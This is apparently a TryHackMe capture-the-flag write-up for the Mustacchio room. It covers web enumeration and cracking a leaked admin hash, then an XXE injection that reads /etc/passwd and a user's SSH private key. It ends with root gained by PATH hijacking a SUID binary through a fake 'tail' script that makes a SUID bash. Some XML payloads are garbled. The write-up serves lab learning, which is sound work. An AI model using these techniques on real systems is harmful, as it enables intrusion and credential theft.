# THM WriteUP | Mustacchio # **Intro** Hello ethical hackers! Today we are going to pass the [**Mustacchio**](https://tryhackme.com/room/mustacchio) on [**TryHackMe**](https://tryhackme.com/). This lab has tags: PrivEsc, XXE. # Recon ## Scanning For no need to enter IP again and again. I exported IP like a variable in current bash shell. ```bash export IP=*.*.*.* ``` Then i scan the host with [**rustscan**](https://github.com/RustScan/RustScan). ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676550426836/2069af64-a24b-4ce9-9937-8ecef116efc3.png align="center") Okey, we see ssh and two http servers. I suggest you explore them. ## Web recon `http://IP/index.html` ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676554208553/f49c235c-2531-4c2f-9416-93fd960ddae7.png align="center") `http://IP:8765/` Cool! We found the admin panel. I try some SQL injections to bypass auth, but it didn't work... ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676554249780/01b9cf92-d36d-4218-86ac-77a230536447.png align="center") Next i run gobuster to both webs. ## Dirsearching I often use [feroxbuster](https://github.com/epi052/feroxbuster). And i forward correct requests thorough Burpsuite Proxy to view result in site map and Prox -> HTTP History. I advise you to do the same. ```bash feroxbuster -u "http://$IP:8765" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --thorough -A -P 127.0.0.1:8080 -E -R 200,301,302,403,500,502 ``` ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676554442360/c3d2e2a0-c1ef-4b73-941d-386ade9b8f8a.png align="center") We found some interesting location. `http://IP/custom/js/` ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676554603172/6657c4f6-b232-49c9-9760-3a0d3a4f2043.png align="center") I suggest you analyze this file. ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676554695705/1156e55b-519e-437c-8e9f-8bdebef61e89.png align="center") We see the sqlite command to create user. Great! We `admin:1868e36a6d2b17d4c2745f1659433a54d4bc5f4b` # Exploitation Bruteforce sqlite hash with john ```bash john sqlite.hash -w=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ``` ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676554174115/2e2b485d-cebf-4d1d-8139-c32ebf27418f.png align="center") Nice! We successfully crack the hash. ## XXE After login, you can add comments to the site. ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676557743692/68881e98-bfe3-4b00-bdbc-0b8af84455f4.png align="center") Try to send request and catch them with BurpSuite: ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676557765386/5d676a70-d670-4a4e-8944-2ea375e920a0.png align="center") After analyze the response we found two interesting things ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676558373556/15da83b0-39e3-479e-af1f-b36c056c4b5b.png align="center") Download and cat `dontforget.bak` ```xml ┌──(kali㉿kali)-[~/temp] └─$ cat /home/kali/Downloads/dontforget.bak Joe Hamd Barry Clad This paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds. ``` Copy this xml to new xml file and change him. ```xml NAME-TEST AUTHOR-TEST ``` ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676558997074/646ec96d-730e-43e3-8f9d-0d6c45087e3e.png align="center") Okey try to XXE this form: ```xml xml= +++]> ++NAME-TEST ++AUTHOR-TEST ++&xxe; <--Here we use var that has /etc/passwd inside--> ``` ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676559445683/da6de23b-4db2-48d2-8af1-dfb3fce2a8ad.png align="center") Interesting users: ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676559812428/9f91bd6c-bde6-4024-9a62-4156ff1f1fc7.png align="center") ```bash joe:x:1002:1002::/home/joe:/bin/bash barry:x:1003:1003::/home/barry:/bin/bash ``` After we veriefied XXE we can check `/home/barry/.ssh/id_rsa`. Okey. we need passphrase: ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676559956554/62dd8998-fff0-4f8f-93f1-fcab159375a2.png align="center") # Securing access Let's crack the id\_rsa: ```bash ssh2john id_rsa > id_rsa.hash john id_rsa.hash -w=/usr/share/wordlists/rockyou.txt ``` ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676561399983/bdfab453-3b1a-4d9b-a0c4-5b31d3aa53fd.png align="center") Correct ssh connection: ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676561492456/033e678f-dd2c-4f4d-9d8d-4f89b3f3bc5a.png align="center") ## First flag ```bash barry@mustacchio:~$ ls user.txt barry@mustacchio:~$ cat user.txt ****** ``` # Privilege Escalation Analyze home folders files. Nice! We found `/home/joe/access_log` ```bash strings /home/joe/live_log ``` ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676561809009/d661a7fb-9dd1-469d-bac0-e7bb4872b007.png align="center") Okey, we need to create binary with bash shell. Go to `/tmp` and create `tail` ```bash #!/bin/bash cp /bin/bash /tmp/bash chmod +s /tmp/bash ``` Add execute permissions to `tail`, add /tmp to $PATH using the following command: `export PATH=/tmp:$PATH` and execute SUID binary `live_log`. Finally enter `bash -p`. ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676562456883/38e18ad6-8411-4759-8af8-b6220d367d99.png align="center") # Rooted!